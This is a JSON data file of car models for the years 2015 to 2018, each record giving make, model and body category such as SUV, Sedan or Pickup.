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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Rolls-Royce",
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"Category": "Sedan"
},
{
"Year": 2018,
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"Category": "SUV"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Tesla",
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"Category": "Sedan"
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{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Rolls-Royce",
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"Category": "Coupe"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
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"Category": "Van/Minivan"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Ram",
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"Category": "Pickup"
},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Porsche",
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"Category": "SUV"
},
{
"Year": 2018,
"Make": "Tesla",
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"Category": "Sedan"
},
{
"Year": 2018,
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"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Subaru",
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"Category": "SUV"
},
{
"Year": 2018,
"Make": "Rolls-Royce",
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"Category": "Convertible"
},
{
"Year": 2018,
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"Model": "ProMaster City",
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},
{
"Year": 2018,
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},
{
"Year": 2018,
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},
{
"Year": 2018,
"Make": "Subaru",
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"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Ram",
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"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Subaru",
"Model": "Impreza",
"Category": "Wagon, Sedan"
},
{
"Year": 2018,
"Make": "Rolls-Royce",
"Model": "Phantom",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Subaru",
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"Category": "Coupe"
},
{
"Year": 2018,
"Make": "Toyota",
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},
{
"Year": 2018,
"Make": "Subaru",
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},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "Coupe"
},
{
"Year": 2018,
"Make": "Toyota",
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},
{
"Year": 2018,
"Make": "Toyota",
"Model": "C-HR",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Subaru",
"Model": "Outback",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Camry",
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},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Highlander Hybrid",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Camry Hybrid",
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},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
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},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Tesla",
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"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
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"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Tacoma Access Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Sequoia",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Tundra CrewMax",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Sienna",
"Category": "Van/Minivan"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Tacoma Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "RAV4 Hybrid",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Toyota",
"Model": "Tundra Double Cab",
"Category": "Pickup"
},
{
"Year": 2018,
"Make": "Volkswagen",
"Model": "Golf",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Volkswagen",
"Model": "Golf GTI",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Volkswagen",
"Model": "Tiguan",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Volvo",
"Model": "V90",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Volkswagen",
"Model": "Golf R",
"Category": "Hatchback"
},
{
"Year": 2018,
"Make": "Volvo",
"Model": "S60",
"Category": "Sedan"
},
{
"Year": 2018,
"Make": "Volkswagen",
"Model": "Atlas",
"Category": "SUV"
},
{
"Year": 2018,
"Make": "Volkswagen",
"Model": "Golf Alltrack",
"Category": "Wagon"
},
{
"Year": 2018,
"Make": "Volvo",
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"Year": 2017,
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"Year": 2017,
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"Year": 2017,
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"Year": 2017,
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},
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"Year": 2017,
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"Year": 2017,
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"Year": 2017,
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"Year": 2017,
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"Year": 2017,
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"Year": 2017,
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{
"Year": 2017,
"Make": "GMC",
"Model": "Savana 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Sedan, Hatchback"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Terrain",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Canyon Crew Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Ioniq Hybrid",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Sierra 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "Fit",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Sierra 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Sierra 3500 HD Double Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Elantra GT",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Sierra 2500 HD Double Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "HR-V",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Sierra 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Veloster",
"Category": "Coupe"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Yukon XL",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "Pilot",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "GMC",
"Model": "Sierra 3500 HD Crew Cab",
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},
{
"Year": 2017,
"Make": "Honda",
"Model": "Accord Hybrid",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "Civic Type R",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "Civic",
"Category": "Coupe, Sedan, Hatchback"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Santa Fe Sport",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Sonata Plug-in Hybrid",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Azera",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Honda",
"Model": "Ridgeline",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "QX50",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "QX30",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "QX70",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Tucson",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Sonata Hybrid",
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},
{
"Year": 2017,
"Make": "Jaguar",
"Model": "F-TYPE",
"Category": "Coupe, Convertible"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Tucson Fuel Cell",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "QX80",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "Q70",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "QX60",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Jaguar",
"Model": "F-PACE",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "Q50",
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},
{
"Year": 2017,
"Make": "INFINITI",
"Model": "Q60",
"Category": "Coupe"
},
{
"Year": 2017,
"Make": "Jaguar",
"Model": "XE",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Hyundai",
"Model": "Ioniq Electric",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Jaguar",
"Model": "XF",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Renegade",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Wrangler Unlimited",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "K900",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Optima",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Cadenza",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Niro",
"Category": "Wagon"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Forte",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Forte5",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Jeep",
"Model": "Patriot",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Kia",
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},
{
"Year": 2017,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2017,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Soul",
"Category": "Wagon"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Land Rover",
"Model": "Range Rover Sport",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Lamborghini",
"Model": "Aventador",
"Category": "Coupe, Convertible"
},
{
"Year": 2017,
"Make": "Lamborghini",
"Model": "Huracan",
"Category": "Coupe, Convertible"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Soul EV",
"Category": "Wagon"
},
{
"Year": 2017,
"Make": "Kia",
"Model": "Optima Plug-in Hybrid",
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},
{
"Year": 2017,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2017,
"Make": "Kia",
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"Category": "SUV"
},
{
"Year": 2017,
"Make": "Lexus",
"Model": "GX",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Lexus",
"Model": "CT",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Lexus",
"Model": "GS",
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},
{
"Year": 2017,
"Make": "Land Rover",
"Model": "Range Rover Evoque",
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},
{
"Year": 2017,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "MAZDA",
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"Category": "SUV"
},
{
"Year": 2017,
"Make": "Lincoln",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
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"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 2017,
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},
{
"Year": 2017,
"Make": "MAZDA",
"Model": "MX-5 Miata RF",
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},
{
"Year": 2017,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan"
},
{
"Year": 2017,
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"Category": "Coupe"
},
{
"Year": 2017,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2017,
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},
{
"Year": 2017,
"Make": "Lincoln",
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{
"Year": 2017,
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{
"Year": 2017,
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"Category": "SUV"
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{
"Year": 2017,
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"Category": "Coupe"
},
{
"Year": 2017,
"Make": "MAZDA",
"Model": "MX-5 Miata",
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},
{
"Year": 2017,
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"Category": "SUV"
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{
"Year": 2017,
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"Category": "SUV"
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{
"Year": 2017,
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},
{
"Year": 2017,
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"Category": "SUV"
},
{
"Year": 2017,
"Make": "Lincoln",
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},
{
"Year": 2017,
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"Category": "Sedan"
},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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"Category": "SUV"
},
{
"Year": 2017,
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},
{
"Year": 2017,
"Make": "MAZDA",
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},
{
"Year": 2017,
"Make": "McLaren",
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"Category": "Coupe"
},
{
"Year": 2017,
"Make": "MAZDA",
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},
{
"Year": 2017,
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
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},
{
"Year": 2017,
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{
"Year": 2017,
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{
"Year": 2017,
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{
"Year": 2017,
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},
{
"Year": 2017,
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"Category": "SUV"
},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG GLE Coupe",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG GLA",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "SL",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
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"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "GLS",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-Maybach S-Class",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG G-Class",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Metris WORKER Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG GLE",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG GLC Coupe",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG S-Class",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG GT",
"Category": "Coupe"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Sprinter 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan, Convertible, Coupe"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
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"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "SLC",
"Category": "Convertible"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Mercedes-AMG SLC",
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},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Metris Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Crew",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "MINI",
"Model": "Clubman",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "MINI",
"Model": "Convertible",
"Category": "Convertible"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Sprinter WORKER Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mercedes-Benz",
"Model": "Sprinter WORKER Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "MINI",
"Model": "Hardtop 2 Door",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "370Z",
"Category": "Coupe, Convertible"
},
{
"Year": 2017,
"Make": "Mitsubishi",
"Model": "Lancer",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "MINI",
"Model": "Hardtop 4 Door",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Mitsubishi",
"Model": "i-MiEV",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "MINI",
"Model": "Countryman",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Quest",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mitsubishi",
"Model": "Outlander Sport",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Frontier King Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Titan King Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Armada",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "GT-R",
"Category": "Coupe"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Murano",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "NV200",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mitsubishi",
"Model": "Outlander",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "NV2500 HD Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Mitsubishi",
"Model": "Mirage G4",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "NV3500 HD Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Rogue Sport",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "NV1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Titan Crew Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "JUKE",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "NV3500 HD Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Frontier Crew Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "LEAF",
"Category": "Hatchback"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "TITAN XD Single Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Ram",
"Model": "1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Ram",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Ram",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "TITAN XD King Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Versa",
"Category": "Sedan"
},
{
"Year": 2017,
"Make": "Nissan",
"Model": "Rogue",
"Category": "SUV"
},
{
"Year": 2017,
"Make": "Ram",
"Model": "2500 Mega Cab",
"Category": "Pickup"
},
{
"Year": 2017,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 2017,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2017,
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{
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{
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{
"Year": 2017,
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{
"Year": 2017,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2016,
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"Year": 2016,
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{
"Year": 2016,
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{
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{
"Year": 2016,
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{
"Year": 2016,
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{
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{
"Year": 2016,
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{
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{
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
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{
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
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{
"Year": 2016,
"Make": "Dodge",
"Model": "Journey",
"Category": "SUV"
},
{
"Year": 2016,
"Make": "Dodge",
"Model": "Viper",
"Category": "Coupe"
},
{
"Year": 2016,
"Make": "Ferrari",
"Model": "F12berlinetta",
"Category": "Coupe"
},
{
"Year": 2016,
"Make": "Ferrari",
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},
{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "FIAT",
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},
{
"Year": 2016,
"Make": "Ford",
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},
{
"Year": 2016,
"Make": "FIAT",
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},
{
"Year": 2016,
"Make": "FIAT",
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"Category": "Hatchback"
},
{
"Year": 2016,
"Make": "FIAT",
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},
{
"Year": 2016,
"Make": "Ferrari",
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},
{
"Year": 2016,
"Make": "Ferrari",
"Model": "488 Spider",
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},
{
"Year": 2016,
"Make": "Ford",
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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"Model": "Escape",
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},
{
"Year": 2016,
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"Model": "C-MAX Energi",
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{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "Ford",
"Model": "Expedition EL",
"Category": "SUV"
},
{
"Year": 2016,
"Make": "Ford",
"Model": "Expedition",
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},
{
"Year": 2016,
"Make": "Ford",
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{
"Year": 2016,
"Make": "Ford",
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},
{
"Year": 2016,
"Make": "Ford",
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
"Make": "Ford",
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "Ford",
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
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{
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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"Category": "SUV"
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{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "MINI",
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},
{
"Year": 2016,
"Make": "Nissan",
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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},
{
"Year": 2016,
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},
{
"Year": 2016,
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{
"Year": 2016,
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{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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},
{
"Year": 2016,
"Make": "MINI",
"Model": "Clubman",
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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},
{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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"Category": "Van/Minivan"
},
{
"Year": 2016,
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},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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"Category": "Van/Minivan"
},
{
"Year": 2016,
"Make": "Mercedes-Benz",
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},
{
"Year": 2016,
"Make": "MINI",
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},
{
"Year": 2016,
"Make": "MINI",
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},
{
"Year": 2016,
"Make": "Nissan",
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"Category": "Van/Minivan"
},
{
"Year": 2016,
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{
"Year": 2015,
"Make": "Chevrolet",
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{
"Year": 2015,
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{
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{
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{
"Year": 2015,
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{
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{
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
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{
"Year": 2015,
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{
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2015,
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{
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{
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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
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{
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{
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{
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
